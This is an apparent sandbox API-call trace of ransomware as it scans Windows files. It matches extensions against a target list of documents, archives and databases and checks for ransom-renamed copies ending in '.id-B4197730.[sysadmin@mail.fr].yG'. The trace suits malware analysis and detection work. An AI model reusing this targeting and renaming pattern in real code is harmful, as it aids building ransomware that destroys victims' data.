	[0133.185] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0133.185] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.185] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.185] lstrlenW (lpString=".doc") returned 4
	[0133.185] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0133.185] lstrlenW (lpString=".docx") returned 5
	[0133.185] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0133.185] lstrlenW (lpString=".pdf") returned 4
	[0133.185] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0133.185] lstrlenW (lpString=".xls") returned 4
	[0133.185] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0133.185] lstrlenW (lpString=".xlsx") returned 5
	[0133.185] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0133.186] lstrlenW (lpString=".ppt") returned 4
	[0133.186] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0133.186] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.186] lstrlenW (lpString=".zip") returned 4
	[0133.186] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0133.186] lstrlenW (lpString=".rar") returned 4
	[0133.186] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0133.186] lstrlenW (lpString=".bz2") returned 4
	[0133.186] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0133.186] lstrlenW (lpString=".7z") returned 3
	[0133.186] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0133.186] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.186] lstrlenW (lpString=".dbf") returned 4
	[0133.186] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0133.186] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.186] lstrlenW (lpString=".1cd") returned 4
	[0133.186] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0133.186] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0133.186] lstrlenW (lpString=".jpg") returned 4
	[0133.186] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0133.186] Sleep (dwMilliseconds=0x64) 
	[0133.589] Sleep (dwMilliseconds=0x64) 
	[0133.805] Sleep (dwMilliseconds=0x64) 
	[0134.194] lstrcmpiW (lpString1=".LOG", lpString2=".yG") returned -1
	[0134.194] lstrlenW (lpString="BCD.LOG") returned 7
	[0134.194] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.195] lstrlenW (lpString=".doc") returned 4
	[0134.195] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0134.195] lstrlenW (lpString=".docx") returned 5
	[0134.195] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0134.195] lstrlenW (lpString=".pdf") returned 4
	[0134.195] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0134.195] lstrlenW (lpString=".xls") returned 4
	[0134.195] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0134.195] lstrlenW (lpString=".xlsx") returned 5
	[0134.195] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0134.195] lstrlenW (lpString=".ppt") returned 4
	[0134.195] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0134.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.195] lstrlenW (lpString=".zip") returned 4
	[0134.195] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0134.195] lstrlenW (lpString=".rar") returned 4
	[0134.195] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0134.195] lstrlenW (lpString=".bz2") returned 4
	[0134.195] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0134.195] lstrlenW (lpString=".7z") returned 3
	[0134.195] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0134.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.196] lstrlenW (lpString=".dbf") returned 4
	[0134.196] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0134.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.196] lstrlenW (lpString=".1cd") returned 4
	[0134.196] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0134.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.196] lstrlenW (lpString=".jpg") returned 4
	[0134.196] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0134.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.196] lstrlenW (lpString=".doc") returned 4
	[0134.196] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0134.196] lstrlenW (lpString=".docx") returned 5
	[0134.196] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0134.196] lstrlenW (lpString=".pdf") returned 4
	[0134.196] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0134.196] lstrlenW (lpString=".xls") returned 4
	[0134.196] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0134.196] lstrlenW (lpString=".xlsx") returned 5
	[0134.196] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0134.196] lstrlenW (lpString=".ppt") returned 4
	[0134.196] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0134.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.196] lstrlenW (lpString=".zip") returned 4
	[0134.197] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0134.197] lstrlenW (lpString=".rar") returned 4
	[0134.197] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0134.197] lstrlenW (lpString=".bz2") returned 4
	[0134.197] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0134.197] lstrlenW (lpString=".7z") returned 3
	[0134.197] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0134.197] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.197] lstrlenW (lpString=".dbf") returned 4
	[0134.197] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0134.197] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.197] lstrlenW (lpString=".1cd") returned 4
	[0134.197] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0134.197] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0134.197] lstrlenW (lpString=".jpg") returned 4
	[0134.197] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0134.197] Sleep (dwMilliseconds=0x64) 
	[0134.520] Sleep (dwMilliseconds=0x64) 
	[0134.895] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0134.895] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0134.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0134.981] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=111320) returned 1
	[0134.981] CloseHandle (hObject=0x390) returned 1
	[0134.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0134.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.982] lstrlenW (lpString=".doc") returned 4
	[0134.982] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0134.982] lstrlenW (lpString=".docx") returned 5
	[0134.982] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0134.982] lstrlenW (lpString=".pdf") returned 4
	[0134.982] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0134.982] lstrlenW (lpString=".xls") returned 4
	[0134.982] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0134.982] lstrlenW (lpString=".xlsx") returned 5
	[0134.982] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0134.982] lstrlenW (lpString=".ppt") returned 4
	[0134.982] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0134.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.983] lstrlenW (lpString=".zip") returned 4
	[0134.983] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0134.983] lstrlenW (lpString=".rar") returned 4
	[0134.983] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0134.983] lstrlenW (lpString=".bz2") returned 4
	[0134.983] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0134.983] lstrlenW (lpString=".7z") returned 3
	[0134.983] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0134.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.983] lstrlenW (lpString=".dbf") returned 4
	[0134.983] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0134.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.983] lstrlenW (lpString=".1cd") returned 4
	[0134.983] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0134.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.983] lstrlenW (lpString=".jpg") returned 4
	[0134.983] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0134.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.983] lstrlenW (lpString=".doc") returned 4
	[0134.983] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0134.983] lstrlenW (lpString=".docx") returned 5
	[0134.983] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0134.986] lstrlenW (lpString=".pdf") returned 4
	[0134.987] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0134.987] lstrlenW (lpString=".xls") returned 4
	[0134.987] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0134.987] lstrlenW (lpString=".xlsx") returned 5
	[0134.987] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0134.987] lstrlenW (lpString=".ppt") returned 4
	[0134.987] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0134.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.987] lstrlenW (lpString=".zip") returned 4
	[0134.987] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0134.987] lstrlenW (lpString=".rar") returned 4
	[0134.987] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0134.987] lstrlenW (lpString=".bz2") returned 4
	[0134.987] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0134.987] lstrlenW (lpString=".7z") returned 3
	[0134.987] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0134.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.987] lstrlenW (lpString=".dbf") returned 4
	[0134.987] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0134.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.987] lstrlenW (lpString=".1cd") returned 4
	[0134.987] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0134.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0134.987] lstrlenW (lpString=".jpg") returned 4
	[0134.988] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0134.988] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0134.988] lstrlenW (lpString="boxed-join.avi") returned 14
	[0134.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0134.993] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=46622) returned 1
	[0134.993] CloseHandle (hObject=0x390) returned 1
	[0134.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0134.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.994] lstrlenW (lpString=".doc") returned 4
	[0134.994] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0134.994] lstrlenW (lpString=".docx") returned 5
	[0134.994] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0134.994] lstrlenW (lpString=".pdf") returned 4
	[0134.994] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0134.994] lstrlenW (lpString=".xls") returned 4
	[0134.994] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0134.994] lstrlenW (lpString=".xlsx") returned 5
	[0134.994] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0134.994] lstrlenW (lpString=".ppt") returned 4
	[0134.994] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0134.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.994] lstrlenW (lpString=".zip") returned 4
	[0134.994] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0134.994] lstrlenW (lpString=".rar") returned 4
	[0134.994] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0134.994] lstrlenW (lpString=".bz2") returned 4
	[0134.994] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0134.994] lstrlenW (lpString=".7z") returned 3
	[0134.994] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0134.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.994] lstrlenW (lpString=".dbf") returned 4
	[0134.994] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0134.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.994] lstrlenW (lpString=".1cd") returned 4
	[0134.995] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0134.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.995] lstrlenW (lpString=".jpg") returned 4
	[0134.995] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0134.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.995] lstrlenW (lpString=".doc") returned 4
	[0134.995] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0134.995] lstrlenW (lpString=".docx") returned 5
	[0134.995] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0134.995] lstrlenW (lpString=".pdf") returned 4
	[0134.995] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0134.995] lstrlenW (lpString=".xls") returned 4
	[0134.995] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0134.995] lstrlenW (lpString=".xlsx") returned 5
	[0134.995] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0134.995] lstrlenW (lpString=".ppt") returned 4
	[0134.995] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0134.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.995] lstrlenW (lpString=".zip") returned 4
	[0134.995] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0134.995] lstrlenW (lpString=".rar") returned 4
	[0134.995] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0134.995] lstrlenW (lpString=".bz2") returned 4
	[0134.995] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0134.996] lstrlenW (lpString=".7z") returned 3
	[0134.996] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0134.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.996] lstrlenW (lpString=".dbf") returned 4
	[0134.996] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0134.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.996] lstrlenW (lpString=".1cd") returned 4
	[0134.996] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0134.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0134.996] lstrlenW (lpString=".jpg") returned 4
	[0134.996] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0134.996] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0134.996] lstrlenW (lpString="correct.avi") returned 11
	[0134.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0134.997] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=180172) returned 1
	[0134.997] CloseHandle (hObject=0x390) returned 1
	[0134.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0134.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.005] lstrlenW (lpString=".doc") returned 4
	[0135.005] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.005] lstrlenW (lpString=".docx") returned 5
	[0135.005] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0135.005] lstrlenW (lpString=".pdf") returned 4
	[0135.005] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.005] lstrlenW (lpString=".xls") returned 4
	[0135.005] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.005] lstrlenW (lpString=".xlsx") returned 5
	[0135.005] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0135.005] lstrlenW (lpString=".ppt") returned 4
	[0135.005] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.005] lstrlenW (lpString=".zip") returned 4
	[0135.006] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.006] lstrlenW (lpString=".rar") returned 4
	[0135.006] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.006] lstrlenW (lpString=".bz2") returned 4
	[0135.006] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.006] lstrlenW (lpString=".7z") returned 3
	[0135.006] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.006] lstrlenW (lpString=".dbf") returned 4
	[0135.006] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.006] lstrlenW (lpString=".1cd") returned 4
	[0135.006] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.006] lstrlenW (lpString=".jpg") returned 4
	[0135.006] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.006] lstrlenW (lpString=".doc") returned 4
	[0135.006] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.006] lstrlenW (lpString=".docx") returned 5
	[0135.006] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0135.007] lstrlenW (lpString=".pdf") returned 4
	[0135.007] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.007] lstrlenW (lpString=".xls") returned 4
	[0135.007] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.007] lstrlenW (lpString=".xlsx") returned 5
	[0135.007] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0135.007] lstrlenW (lpString=".ppt") returned 4
	[0135.007] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.007] lstrlenW (lpString=".zip") returned 4
	[0135.007] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.007] lstrlenW (lpString=".rar") returned 4
	[0135.007] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.007] lstrlenW (lpString=".bz2") returned 4
	[0135.007] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.007] lstrlenW (lpString=".7z") returned 3
	[0135.007] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.007] lstrlenW (lpString=".dbf") returned 4
	[0135.007] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.007] lstrlenW (lpString=".1cd") returned 4
	[0135.007] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0135.007] lstrlenW (lpString=".jpg") returned 4
	[0135.007] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.008] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0135.008] lstrlenW (lpString="split.avi") returned 9
	[0135.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.016] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=181964) returned 1
	[0135.016] CloseHandle (hObject=0x390) returned 1
	[0135.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20
	[0135.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
